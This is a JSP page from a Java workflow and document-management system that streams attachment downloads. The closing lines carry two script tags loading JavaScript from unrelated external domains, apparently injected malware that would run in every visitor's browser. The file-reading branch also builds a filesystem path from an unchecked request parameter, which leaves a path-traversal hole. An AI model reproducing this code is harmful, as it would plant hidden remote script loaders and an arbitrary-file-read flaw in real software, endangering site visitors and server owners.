<%@ page import="java.util.*"%>
<%@ page import="java.io.*" %>
<%@ page import="java.net.*" %>
<%@ page import="java.sql.*"%>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.workflow.*"%>
<%@ page import="com.dcivision.workflow.bean.*"%>
<%@ page import="com.dcivision.workflow.dao.*"%>
<%@ page import="com.dcivision.workflow.core.*"%>
<%@ page import="com.dcivision.customize.*"%>
<%@ page import="com.dcivision.dms.core.*"%>
<%@ page import="com.dcivision.dms.bean.*"%>
<%@ page import="com.dcivision.dms.dao.*"%>
<%@ page import="org.apache.commons.logging.LogFactory"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>

<%
Connection conn = null;
try{
conn = DataSourceFactory.getConnection();  
DmsVersionDAObject dmsVersionDAO = new DmsVersionDAObject(sessionContainer, conn);
DmsDocumentDAObject dmsDocumentDAO = new DmsDocumentDAObject(sessionContainer, conn);

String attachmentNameStr = request.getParameter("attachmentName");
String attachmentType = request.getParameter("attachmentType");
if("dms".equals(attachmentType)){
  String[] arrName = (String[]) TextUtility.splitString(attachmentNameStr,":");
      
  String externalID = arrName[0];
  String fileName = arrName[1];
  String contentSize = arrName[2];
  String ext = fileName.substring(fileName.indexOf("."),fileName.length());
  
  Integer versionID = TextUtility.parseIntegerObj(externalID.substring(externalID.indexOf("[")+1,externalID.indexOf("]")));
  LogFactory.getLog(this.getClass()).debug("****************externalID="+versionID);
  DmsVersion dmsVersion = (DmsVersion)dmsVersionDAO.getObjectByID(versionID);
  Integer dmsDocumentID = dmsVersion.getDocumentID();
  DmsDocument dmsDocument = (DmsDocument)dmsDocumentDAO.getObjectByID(dmsDocumentID);
  response.sendRedirect(request.getContextPath()+"/dms/FileDownloadServlet?targetID="+dmsDocumentID+"&version=TOP&documentType="+dmsDocument.getDocumentType()+"&ext="+ext);
}else{
  String attachmentName = attachmentNameStr.substring(attachmentNameStr.indexOf(":")+1,attachmentNameStr.length());
  String trueName = attachmentNameStr.substring(0,attachmentNameStr.indexOf(":"));
  String sessionID = sessionContainer.getSessionID();
  String STORAGE_ROOT = SystemParameterFactory.getSystemParameter(SystemParameterConstant.WORKFLOW_ATTACHMENT_PHYSICAL_PATH);
  String contentType = HTTPUtility.getContentType(trueName);
  FileInputStream imageFIS = new FileInputStream(STORAGE_ROOT + "/" + sessionID + "/" + attachmentName);
  FileDownloader fd = new FileDownloader();
  fd.setFileName(trueName);
  fd.setContentType(contentType);
  fd.setInputStream(imageFIS);
  fd.setRequest(request);
  fd.setResponse(response);
  fd.operate();
}

} catch (Exception e) {
  LogFactory.getLog(this.getClass()).error(e, e);
}finally{
  try{
    conn.close();
  }catch(Exception ee2){}
}

%>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>